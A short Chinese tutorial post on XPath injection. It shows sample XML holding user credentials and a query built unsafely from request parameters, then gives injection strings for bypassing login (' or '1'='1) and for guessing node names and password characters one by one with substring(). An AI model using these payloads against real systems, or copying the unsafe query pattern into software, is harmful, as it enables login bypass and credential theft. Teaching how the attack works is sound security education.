常见的xpath语句如下:涛涛电脑知识网
<users>
<user>
<firstname>Ben</firstname>
<lastname>Elmore</lastname>
<loginID>abc</loginID>
<password>test123</password>
</user>
<user>
<firstname>Shlomy</firstname>
<lastname>Gantz</lastname>
<loginID>xyz</loginID>
<password>123test</password>
</user>
</users>
//users/user[loginID/text()='"&request("loginID")&"' and password/text()='"&request("password")&"']/firstname/text()
关于xpath的语法可以参考:
语法看懂了,看懂这个语句就很简单了。。。。。。
这个最终会显示firstname的值。。。。
注入语句跟其他注入一样:
数字型: or 1=1
字符型: ' or '1'='1
这里顺带提个小问题,为什么 ' or '1'='1 会显示所有的firstname (如搞不定的,可以回帖或者PM我,,,, )
这是很基本的注入,稍微高级点的:
例如判断父节点的名称,可以尝试:
' or substring(name(parent::*[position()=1]),1,1)='u
如果知道了当前节点名称,可以利用:
' or substring(password/text(),1,1)='1 判断值。。。。。。
====
xpath注入没有其他注入复杂,但也是一个趋势。。。。。。
另建议大家实际搭建环境模拟攻击,就很了解这个注入手法